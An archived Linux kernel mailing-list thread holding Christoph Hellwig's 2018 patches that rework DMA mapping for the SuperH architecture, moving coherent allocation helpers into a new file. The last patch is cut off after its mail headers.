Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 10:00:28 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH2yZ-0001XQ-Bq
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 10:00:27 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id EC38AC96;
	Fri, 11 May 2018 08:02:20 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id E79F5C77
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:02:19 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 7E2C7E7
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:02:19 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=mc+66cpLgGJrF8TqjhED7vezJOUwyDTPecUGyKpn7oE=;
	b=XwfyEMdkqbotf2iLOtYMDtl5u
	cjHd1bBfbIyc9e8JeFxu/tJk+aW2VSFyHa8jT6KjZ3P+W3Uej3ybNJ3TI+vtX32dGkVE+IeI7FmXw
	N/U1CC1onMoH7HGPgKY/Hu3F3GfFaGvbgap3qgt9+VmjdC15CgyBFv9q5rcFQitSKsCO/cbaLclSJ
	XThhor2x58pC7chk63IeWBikwOgwirm2Wl8EjGFFYCLXppyVMAQTa+meCWKkNcl/CRVqF9wU7oa7t
	6jstK5bBzBn5wnxKkRThGroQm+81qyEDOcR33Y2NDIBH97FKxsp9ltwFyJfKoWJLwazqfVL0QVt4B
	rL3bU4poA==;
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH2zz-0008UB-IM; Fri, 11 May 2018 08:01:56 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180511075945.16548-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24182 gmane.linux.kernel.cross-arch:44026 gmane.linux.ports.parisc:28609 gmane.linux.ports.sh.devel:57015 gmane.linux.ports.hexagon:1712 gmane.linux.kernel:2764217 gmane.linux.ports.alpha:5037 gmane.linux.ports.sparc:27864 gmane.linux.kernel.arc:3878 gmane.linux.ports.arm.kernel:649166
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24182>

This is a slight change in behavior as we avoid the detour through the
virtual mapping for the coherent allocator, but if this CPU really is
coherent that should be the right thing to do.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/sh/Kconfig                   | 1 +
 arch/sh/include/asm/dma-mapping.h | 4 ++++
 arch/sh/kernel/Makefile           | 4 ++--
 arch/sh/kernel/dma-nommu.c        | 4 ----
 4 files changed, 7 insertions(+), 6 deletions(-)

diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 7d521926041e..d0b095323d62 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -157,6 +157,7 @@ config SWAP_IO_SPACE
 	bool
 
 config DMA_COHERENT
+	select DMA_DIRECT_OPS
 	bool
 
 config DMA_NONCOHERENT
diff --git a/arch/sh/include/asm/dma-mapping.h b/arch/sh/include/asm/dma-mapping.h
index 149e71f95be7..1ebc6a4eb1c5 100644
--- a/arch/sh/include/asm/dma-mapping.h
+++ b/arch/sh/include/asm/dma-mapping.h
@@ -6,7 +6,11 @@ extern const struct dma_map_ops nommu_dma_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
+#ifdef CONFIG_DMA_NONCOHERENT
 	return &nommu_dma_ops;
+#else
+	return &dma_direct_ops;
+#endif
 }
 
 extern void *dma_generic_alloc_coherent(struct device *dev, size_t size,
diff --git a/arch/sh/kernel/Makefile b/arch/sh/kernel/Makefile
index dc80041f7363..cb5f1bfb52de 100644
--- a/arch/sh/kernel/Makefile
+++ b/arch/sh/kernel/Makefile
@@ -12,7 +12,7 @@ endif
 
 CFLAGS_REMOVE_return_address.o = -pg
 
-obj-y	:= debugtraps.o dma-nommu.o dumpstack.o 		\
+obj-y	:= debugtraps.o dumpstack.o 		\
 	   idle.o io.o irq.o irq_$(BITS).o kdebugfs.o			\
 	   machvec.o nmi_debug.o process.o				\
 	   process_$(BITS).o ptrace.o ptrace_$(BITS).o			\
@@ -45,7 +45,7 @@ obj-$(CONFIG_DUMP_CODE)		+= disassemble.o
 obj-$(CONFIG_HIBERNATION)	+= swsusp.o
 obj-$(CONFIG_DWARF_UNWINDER)	+= dwarf.o
 obj-$(CONFIG_PERF_EVENTS)	+= perf_event.o perf_callchain.o
-
+obj-$(CONFIG_DMA_NONCOHERENT)	+= dma-nommu.o
 obj-$(CONFIG_HAVE_HW_BREAKPOINT)		+= hw_breakpoint.o
 
 ccflags-y := -Werror
diff --git a/arch/sh/kernel/dma-nommu.c b/arch/sh/kernel/dma-nommu.c
index 79a9edafa5b0..d8689b1cb743 100644
--- a/arch/sh/kernel/dma-nommu.c
+++ b/arch/sh/kernel/dma-nommu.c
@@ -51,7 +51,6 @@ static int nommu_map_sg(struct device *dev, struct scatterlist *sg,
 	return nents;
 }
 
-#ifdef CONFIG_DMA_NONCOHERENT
 static void nommu_sync_single_for_device(struct device *dev, dma_addr_t addr,
 			      size_t size, enum dma_data_direction dir)
 {
@@ -67,16 +66,13 @@ static void nommu_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
 	for_each_sg(sg, s, nelems, i)
 		sh_sync_dma_for_device(sg_virt(s), s->length, dir);
 }
-#endif
 
 const struct dma_map_ops nommu_dma_ops = {
 	.alloc			= dma_generic_alloc_coherent,
 	.free			= dma_generic_free_coherent,
 	.map_page		= nommu_map_page,
 	.map_sg			= nommu_map_sg,
-#ifdef CONFIG_DMA_NONCOHERENT
 	.sync_single_for_device	= nommu_sync_single_for_device,
 	.sync_sg_for_device	= nommu_sync_sg_for_device,
-#endif
 };
 EXPORT_SYMBOL(nommu_dma_ops);
-- 
2.17.0


From - Thu Nov 08 21:41:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 16/20] mm: split arch/sh/mm/consistent.c
Date: Fri, 11 May 2018 09:59:41 +0200
Lines: 209
Approved: news@gmane.org
Message-ID: <20180511075945.16548-17-hch@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025654 7667 195.159.176.226 (11 May 2018 08:00:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 08:00:54 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 10:00:49 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH2yu-0001sJ-Nl
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 10:00:49 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id C5219C87;
	Fri, 11 May 2018 08:02:59 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id A6FABC7D
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:02:58 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id D51786A0
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:02:57 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=HMnVqZ4+pu11LR4HmMpH/ytlKUN2DS6SQ6icB1Qmd7o=;
	b=USufp0Cm/tehghCdKHVzjdjiz
	w8TjErLtcTD/sWqXQS4UyLMMvFwFQumc6On32/g0pRgC0ez35ArB87Mo/vKtMciYSjXaznB8NRpY8
	y6QDIFVPpBbjlsltMMJ1x4QJF2NbAZ30u1sP23//Omb0QQquYY2mrnBGEgDMKsUDVhh8igKFfM41Q
	OP2r37hZPcC07DS81M3oOXbrXxUhzclyDQzNenbj8EdDw/MhtNfJbnqZv6VIsgaL/lLZWnT9DtkKY
	MSE9jZ2EHFgILA/jzwPLT6JLVr7/3bHFdXJbz78eb+XnOp9jq3z+IP/vrh+UG41kX3KdANkKC0fTZ
	ULKhbyr6Q==;
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH303-0008WN-IK; Fri, 11 May 2018 08:02:44 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180511075945.16548-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24183 gmane.linux.kernel.cross-arch:44027 gmane.linux.ports.parisc:28610 gmane.linux.ports.sh.devel:57016 gmane.linux.ports.hexagon:1713 gmane.linux.kernel:2764218 gmane.linux.ports.alpha:5038 gmane.linux.ports.sparc:27865 gmane.linux.kernel.arc:3879 gmane.linux.ports.arm.kernel:649167
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24183>

Half of the file just contains platform device memory setup code which
is required for all builds, and half contains helpers for dma coherent
allocation, which is only needed if CONFIG_DMA_NONCOHERENT is enabled.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/sh/kernel/Makefile       |  2 +-
 arch/sh/kernel/dma-coherent.c | 80 +++++++++++++++++++++++++++++++++++
 arch/sh/mm/consistent.c       | 76 ---------------------------------
 3 files changed, 81 insertions(+), 77 deletions(-)
 create mode 100644 arch/sh/kernel/dma-coherent.c

diff --git a/arch/sh/kernel/Makefile b/arch/sh/kernel/Makefile
index cb5f1bfb52de..d5ddb64bfffe 100644
--- a/arch/sh/kernel/Makefile
+++ b/arch/sh/kernel/Makefile
@@ -45,7 +45,7 @@ obj-$(CONFIG_DUMP_CODE)		+= disassemble.o
 obj-$(CONFIG_HIBERNATION)	+= swsusp.o
 obj-$(CONFIG_DWARF_UNWINDER)	+= dwarf.o
 obj-$(CONFIG_PERF_EVENTS)	+= perf_event.o perf_callchain.o
-obj-$(CONFIG_DMA_NONCOHERENT)	+= dma-nommu.o
+obj-$(CONFIG_DMA_NONCOHERENT)	+= dma-nommu.o dma-coherent.o
 obj-$(CONFIG_HAVE_HW_BREAKPOINT)		+= hw_breakpoint.o
 
 ccflags-y := -Werror
diff --git a/arch/sh/kernel/dma-coherent.c b/arch/sh/kernel/dma-coherent.c
new file mode 100644
index 000000000000..4f41e5cd5207
--- /dev/null
+++ b/arch/sh/kernel/dma-coherent.c
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2004 - 2007  Paul Mundt
+ *
+ * This file is subject to the terms and conditions of the GNU General Public
+ * License.  See the file "COPYING" in the main directory of this archive
+ * for more details.
+ */
+#include <linux/mm.h>
+#include <linux/init.h>
+#include <linux/dma-mapping.h>
+#include <linux/module.h>
+#include <asm/cacheflush.h>
+#include <asm/addrspace.h>
+
+void *dma_generic_alloc_coherent(struct device *dev, size_t size,
+				 dma_addr_t *dma_handle, gfp_t gfp,
+				 unsigned long attrs)
+{
+	void *ret, *ret_nocache;
+	int order = get_order(size);
+
+	gfp |= __GFP_ZERO;
+
+	ret = (void *)__get_free_pages(gfp, order);
+	if (!ret)
+		return NULL;
+
+	/*
+	 * Pages from the page allocator may have data present in
+	 * cache. So flush the cache before using uncached memory.
+	 */
+	sh_sync_dma_for_device(ret, size, DMA_BIDIRECTIONAL);
+
+	ret_nocache = (void __force *)ioremap_nocache(virt_to_phys(ret), size);
+	if (!ret_nocache) {
+		free_pages((unsigned long)ret, order);
+		return NULL;
+	}
+
+	split_page(pfn_to_page(virt_to_phys(ret) >> PAGE_SHIFT), order);
+
+	*dma_handle = virt_to_phys(ret) - PFN_PHYS(dev->dma_pfn_offset);
+
+	return ret_nocache;
+}
+
+void dma_generic_free_coherent(struct device *dev, size_t size,
+			       void *vaddr, dma_addr_t dma_handle,
+			       unsigned long attrs)
+{
+	int order = get_order(size);
+	unsigned long pfn = (dma_handle >> PAGE_SHIFT) + dev->dma_pfn_offset;
+	int k;
+
+	for (k = 0; k < (1 << order); k++)
+		__free_pages(pfn_to_page(pfn + k), 0);
+
+	iounmap(vaddr);
+}
+
+void sh_sync_dma_for_device(void *vaddr, size_t size,
+		    enum dma_data_direction direction)
+{
+	void *addr = sh_cacheop_vaddr(vaddr);
+
+	switch (direction) {
+	case DMA_FROM_DEVICE:		/* invalidate only */
+		__flush_invalidate_region(addr, size);
+		break;
+	case DMA_TO_DEVICE:		/* writeback only */
+		__flush_wback_region(addr, size);
+		break;
+	case DMA_BIDIRECTIONAL:		/* writeback and invalidate */
+		__flush_purge_region(addr, size);
+		break;
+	default:
+		BUG();
+	}
+}
+EXPORT_SYMBOL(sh_sync_dma_for_device);
diff --git a/arch/sh/mm/consistent.c b/arch/sh/mm/consistent.c
index f18483494c46..5da5be74fb6b 100644
--- a/arch/sh/mm/consistent.c
+++ b/arch/sh/mm/consistent.c
@@ -1,10 +1,6 @@
 /*
- * arch/sh/mm/consistent.c
- *
  * Copyright (C) 2004 - 2007  Paul Mundt
  *
- * Declared coherent memory functions based on arch/x86/kernel/pci-dma_32.c
- *
  * This file is subject to the terms and conditions of the GNU General Public
  * License.  See the file "COPYING" in the main directory of this archive
  * for more details.
@@ -13,79 +9,7 @@
 #include <linux/init.h>
 #include <linux/platform_device.h>
 #include <linux/dma-mapping.h>
-#include <linux/dma-debug.h>
 #include <linux/io.h>
-#include <linux/module.h>
-#include <linux/gfp.h>
-#include <asm/cacheflush.h>
-#include <asm/addrspace.h>
-
-void *dma_generic_alloc_coherent(struct device *dev, size_t size,
-				 dma_addr_t *dma_handle, gfp_t gfp,
-				 unsigned long attrs)
-{
-	void *ret, *ret_nocache;
-	int order = get_order(size);
-
-	gfp |= __GFP_ZERO;
-
-	ret = (void *)__get_free_pages(gfp, order);
-	if (!ret)
-		return NULL;
-
-	/*
-	 * Pages from the page allocator may have data present in
-	 * cache. So flush the cache before using uncached memory.
-	 */
-	sh_sync_dma_for_device(ret, size, DMA_BIDIRECTIONAL);
-
-	ret_nocache = (void __force *)ioremap_nocache(virt_to_phys(ret), size);
-	if (!ret_nocache) {
-		free_pages((unsigned long)ret, order);
-		return NULL;
-	}
-
-	split_page(pfn_to_page(virt_to_phys(ret) >> PAGE_SHIFT), order);
-
-	*dma_handle = virt_to_phys(ret) - PFN_PHYS(dev->dma_pfn_offset);
-
-	return ret_nocache;
-}
-
-void dma_generic_free_coherent(struct device *dev, size_t size,
-			       void *vaddr, dma_addr_t dma_handle,
-			       unsigned long attrs)
-{
-	int order = get_order(size);
-	unsigned long pfn = (dma_handle >> PAGE_SHIFT) + dev->dma_pfn_offset;
-	int k;
-
-	for (k = 0; k < (1 << order); k++)
-		__free_pages(pfn_to_page(pfn + k), 0);
-
-	iounmap(vaddr);
-}
-
-void sh_sync_dma_for_device(void *vaddr, size_t size,
-		    enum dma_data_direction direction)
-{
-	void *addr = sh_cacheop_vaddr(vaddr);
-
-	switch (direction) {
-	case DMA_FROM_DEVICE:		/* invalidate only */
-		__flush_invalidate_region(addr, size);
-		break;
-	case DMA_TO_DEVICE:		/* writeback only */
-		__flush_wback_region(addr, size);
-		break;
-	case DMA_BIDIRECTIONAL:		/* writeback and invalidate */
-		__flush_purge_region(addr, size);
-		break;
-	default:
-		BUG();
-	}
-}
-EXPORT_SYMBOL(sh_sync_dma_for_device);
 
 static int __init memchunk_setup(char *str)
 {
-- 
2.17.0


From - Thu Nov 08 21:41:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 17/20] sh: use generic dma_noncoherent_ops
Date: Fri, 11 May 2018 09:59:42 +0200
Lines: 230
Approved: news@gmane.org
Message-ID: <20180511075945.16548-18-hch@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025665 8484 195.159.176.226 (11 May 2018 08:01:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 08:01:05 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 10:01:00 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH2z5-000244-BR
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 10:00:59 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 1DC02C98;
	Fri, 11 May 2018 08:03:10 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 8F236C98
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:03:08 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id DAC67E7
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:03:07 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=RWDn5WHpqHOgvqIlbDxd/KVN2uU1GwA2hPks8XpZOPw=;
	b=kiMkQAskoaCKrLgdHKzDG8FKy
	76xr9VUCZbtH2/3frE9K3EDabEQVFLY6W4H+mbmLJzraxtK4fBNpXRzTZ4YZQpH5tQkRFE273xpgK
	9kfopy1YMqSEv0cHeCDh+bnyYRsRtZjOBtkA2inl3hyN71jXQ3MOcN/7orTe2NOQ/ZItahcH6taPD
	tNH6oaM+qfLBpr9iohutnhXnWP57ocRr0EtmL7rMhzSdHKFwycuzskRJSBQSOWZ9C0vjZeWGbSxTh
	03Q8KVKewdNhaTAlfxW6VatFeL3Rn7/wfPy3BpLfgOBAcIv05yzlImLcck1ggshln+4Q0H/U4cjzF
	Oq9vJNQOg==;
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH30q-0000dj-DN; Fri, 11 May 2018 08:02:49 +0000
X-Mailer: git-send-email 2.17.0
